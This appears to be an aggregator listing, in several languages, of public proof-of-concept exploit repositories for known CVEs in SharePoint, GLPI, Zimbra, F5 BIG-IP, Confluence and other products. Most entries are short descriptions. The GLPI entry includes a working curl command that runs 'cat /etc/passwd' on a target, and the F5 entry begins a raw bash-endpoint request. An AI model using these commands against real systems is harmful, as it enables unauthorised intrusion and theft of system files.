OurSharePoint-CVE-2025-53770

OurSharePoint — CVE-2025-53770 PoC Strumento RCE per SharePoint autonomo, unico binario. Genera una catena di gadget TypeConfuseDelegate come byte MS-NRBF grezzi senza ysoserial.exe, la avvolge in un payload di deserializzazione DataSet e la consegna tramite HTTP utilizzando il bypass di...

CVE-2022-35914

CVE-2022-35914 RCE non autenticato in GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

unomi_exploit

Haftungsausschluss Die hier bereitgestellten Methoden zur Schwachstellenerkennung, Dateien und andere Inhalte sind ausschließlich für Sicherheitsexperten bestimmt, die über eine rechtliche Genehmigung verfügen, und dienen dazu, die Sicherheit von autorisierten Servern zu testen. Sicherheitsexpert...

CVE-2019-8985

firmware und Exploit für CVE–2019–8985 Netis WF2411 RCE-Studie :...

CVE-2019-16662

CVE-2019-16662 Der offizielle Exploit für rConfig 3.9.2 Remotecodeausführung CVE-2019-16662...

RTSPServer-Code-Execution-Vulnerability

Vulnerabilidade de execução de código no lookForHeader do servidor RTSPServer do LIVE555 streaming media da Live Networks CVE-2018-4013 Resumo Existe uma vulnerabilidade explorável de execução de código na funcionalidade de análise de pacotes HTTP da biblioteca do servidor RTSP LIVE555. Um pacote...

CVE-2020-8813

CVE-2020-8813 O exploit oficial para a Execução Remota de Código no Cacti v1.2.8 CVE-2020-8813 Cacti v1.2.8 Execução Remota de Código Pré-Autenticação Cacti v1.2.8 Execução Remota de Código Pós-Autenticação...

CVE-2012-1823

PHP CGI Argument Injection CVE-2012-1823 Beschreibung sapi/cgi/cgimain.c in PHP vor 5.3.12 und 5.4.x vor 5.4.2, wenn als CGI-Skript aka php-cgi konfiguriert, behandelt Abfragezeichenfolgen, die kein = Gleichheitszeichen enthalten, nicht ordnungsgemäß, was es entfernten Angreifern ermöglicht,...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC

💻 CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Sicherheitslücke-PoC 🧩 Übersicht Dieses Projekt reproduziert das MonikerLink-Verhalten CVE-2024-21413 in einer vollständig isolierten TryHackMe-Umgebung, um zu zeigen, wie bestimmte Hyperlink-Formate dazu führen können, dass Outlook einen...

CVE-2022-39952-better

FortiNAC CVE-2022-39952 PoC para CVE-2022-39952 afetando Fortinet FortiNAC. Este exploit permite que um atacante execute comandos arbitrários no servidor FortiNAC. Ele é baseado no PoC desenvolvido por horizon3ai, com opções adicionais para atacar múltiplos hosts. Aviso: Este exploit é apenas par...

Zimbra-RCE

Zimbra-RCE Zimbra RCE CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST Authentifizierungsumgehung und Remote-Code-Ausführung. root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd...

CVE-2025-22968

CVE-2025-22968 D-Link DWR-M972V Software Version 1.05SSG Schwachstelle für nicht authentifizierten Zugriff Beschreibung Nicht authentifizierter Zugriff in der Standardkonfiguration des D-Link DWR-M972V Software Version 1.05SSG ermöglicht es einem anonymen Angreifer, auf den Router zuzugreifen und...

CVE-2025-55182

CVE-2025-55182 Toolkit & Labor Nur zu Bildungszwecken Leichtgewichtiges Go-Toolkit plus ein dockerisiertes Next.js-Labor zum Untersuchen und Triage von CVE-2025-55182. Nur für Bildungszwecke und autorisierte Tests. Funktionen Root-Cause-Analyse, Visualisierungen und Labor: siehe...

CVE-2022-31491

CVE-2022-31491 Metasploit-Modul und PoC-Dateien in diesem Repository. Weitere Informationen Voltronic Viewpower/Pro und Rebrands/Abwandlungen Die UPS-Verwaltungssoftware ermöglicht es einem ordnungsgemäß authentifizierten und autorisierten Benutzer normalerweise, über eine Weboberfläche das Syste...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Python-Proof-of-Concept-Skript zum Auslösen des Flowise-CustomMCP-RCE-Pfads über POST /api/v1/node-load-method/customMCP. ⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine...

CVE-2024-23692_Exploit

CVE-2024-23692 / Exploit-Code In HFS Version 2.3 und darunter wurde eine Schwachstelle entdeckt, die es ermöglicht, CMD-Befehle an den Server zu senden und auszuführen. Detail: https://asec.ahnlab.com/ko/74113/ Dieser Code dient nur zu Bildungszwecken; die rechtliche Verantwortung für Missbrauch...

CVE-2022-27925

CVE-2022-27925 Zimbra RCE 2022 Dieses Repository ist Teil des hgrab-frameworks dork title: "Zimbra Web Client Sign In" Betroffenes Produkt Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 und früher Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 und früher Installation...

CVE-2022-26134

「💥」CVE-2022-26134 Descrição Nas versões afetadas do Confluence Server e Data Center, existe uma vulnerabilidade de injeção OGNL que permitiria a um atacante não autenticado executar código arbitrário em uma instância do Confluence Server ou Data Center. As versões afetadas são de 1.3.0 anteriores...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE Este script é um wrapper sobre uma primitiva de exploração de execução remota de código não autenticada via injeção OGNL no Confluence Data Center e Server CVE-2022-26314. Aviso do fornecedor Foi originalmente inspirado pelo PoC throughthewire.py, co...